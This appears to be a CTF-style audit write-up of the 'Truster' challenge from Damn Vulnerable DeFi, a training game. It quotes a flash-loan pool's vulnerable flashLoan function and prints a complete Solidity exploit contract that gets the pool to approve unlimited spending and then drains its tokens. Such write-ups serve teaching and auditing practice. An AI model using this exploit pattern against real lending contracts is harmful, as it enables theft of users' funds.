Truster Security Review

Reviewer
Américo Júnior, Security Auditor
October 3, 2022

1 Executive Summary

Over the course of 2 days in total, Damn Vulnerable DeFi engaged with Américo Júnior to review Truster.

I found a total of 1 issue with Truster.

Repository	**Commit**
Truster	commithash

Summary

Type of Project	TYPE
Timeline	Oct 01, 2022 - Oct 02, 2022
Methods	Manual Review
Documentation	High
Testing Coverage	High

Total Issues

Critical Risk	1
High Risk	0
Medium Risk	0
Low Risk	0
Gas Optimizations and Informational	0

Contents

2 Truster

Truster is a damnn vulnerable defi challenge, a new pool has launched that is offering flash loans of DVT tokens for free.

3 Introduction

Truster offers flash loans of DVT tokens for free, currently the pool has 1 milion DVT tokens in balance.

The focus of the security review was on the following:

1. Ensure that the system is implemented consistently with the intended functionality, and without unintended edge cases.
2. Identify known vulnerabilities particular to smart contract systems, as outlined in our Smart Contract Best Practices, and the Smart Contract Weakness Classification Registry.

Disclaimer: This security review does not guarantee against a hack. It is a snapshot in time of brink according to the specific commit by a one person. Any modifications to the code will require a new security review.

4 Findings

4.1 Critical Risk

4.1.1 Theft of all DVT tokens

Severity: Critical

Context: `TrusterLenderPool.sol#L21-L41`

Description: The contract have a function named as `flashLoan`, using this function we can borrow an amount of DVT tokens, this function receive amount to borrow `borrowAmount`, borrower address `borrower`, token address `target` and function called in token `data`.

```
contract TrusterLenderPool is ReentrancyGuard {
    ...
    function flashLoan(
            uint256 borrowAmount,
            address borrower,
            address target,
            bytes calldata data
        )
            external
            nonReentrant
        {
            uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
            require(balanceBefore >= borrowAmount, "Not enough tokens in
↪   pool");

            damnValuableToken.transfer(borrower, borrowAmount);
            target.functionCall(data);

            uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
            require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid
↪   back");
        }
}
```

Using this function an attacker is able to stole all DVT Tokens, creating an exploit contract that call the `flashLoan` function, and passing this value in `data` parameter: `approve(address(this),type(uint).max)`.

```
contract TrusterExploit {
    function attack(address _pool, address _token) public {
        TrusterLenderPool pool = TrusterLenderPool(_pool);
        IERC20 token = IERC20(_token);

        bytes memory data = abi.encodeWithSignature("approve(address,uint256)",
↪   address(this), type(uint).max);
        pool.flashLoan(0, msg.sender, _token, data);

        token.transferFrom(_pool, msg.sender, token.balanceOf(_pool));
    }
}
```

In the code above, the exploit encode the data `approve(address(this),type(uint).max)` and send it via `pool.flashLoan` with the rest of the parameters, and this approve your contract to receive unlimited amount of DVT tokens. And the following line transfers the entire TrusterLenderPool balance to the exploit contract.

Recommendation:

```
+ Do not execute data sent by an external contract within the functionCall.
- ...
```